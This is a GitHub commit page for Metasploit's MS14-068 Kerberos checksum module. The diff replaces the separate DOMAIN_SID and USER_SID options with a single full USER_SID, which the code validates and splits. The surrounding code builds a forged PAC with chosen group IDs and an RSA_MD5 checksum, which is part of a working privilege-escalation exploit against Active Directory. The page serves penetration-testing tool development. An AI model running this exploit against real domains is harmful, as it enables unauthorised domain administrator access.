Skip to content

Commit ed2d0cd

Browse files
committed
Use USER_SID instead of DOMAIN_SID and USER_RID
1 parent 13ec578 commit ed2d0cd

File tree

1 file changed

+14
-4
lines changed

1 file changed

+14
-4
lines changed

modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb

Lines changed: 14 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -44,14 +44,24 @@ def initialize(info = {})
4444
register_options(
4545
[
4646
OptString.new('USER', [ true, 'The Domain User' ]),
47-
OptInt.new('USER_SID', [ true, 'The Domain User SID, Ex: 1000']),
4847
OptString.new('PASSWORD', [ true, 'The Domain User password' ]),
4948
OptString.new('DOMAIN', [ true, 'The Domain Ex: DEMO.LOCAL' ]),
50-
OptString.new('DOMAIN_SID', [ true, 'The Domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962' ])
49+
OptString.new('USER_SID', [ true, 'The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000'])
5150
], self.class)
5251
end
5352

5453
def run
54+
print_status("Validating options...")
55+
56+
unless datastore['USER_SID'] =~ /^S-(\d+-){6}\d+$/
57+
print_error("Invalid USER_SID. Ex: S-1-5-21-1755879683-3641577184-3486455962-1000")
58+
return
59+
end
60+
61+
user_sid_arr = datastore['USER_SID'].split('-')
62+
domain_sid = user_sid_arr[0, user_sid_arr.length - 1].join('-')
63+
user_rid = user_sid_arr[user_sid_arr.length - 1].to_i
64+
5565
print_status("#{peer} - Connecting with the KDC...")
5666
connect
5767

@@ -97,8 +107,8 @@ def run
97107
pac = build_pac(
98108
client_name: datastore['USER'],
99109
group_ids: groups,
100-
domain_id: datastore['DOMAIN_SID'],
101-
user_id: datastore['USER_SID'],
110+
domain_id: domain_sid,
111+
user_id: user_rid,
102112
realm: datastore['DOMAIN'],
103113
logon_time: logon_time,
104114
checksum_type: Rex::Proto::Kerberos::Crypto::RSA_MD5

0 commit comments

Comments
 (0)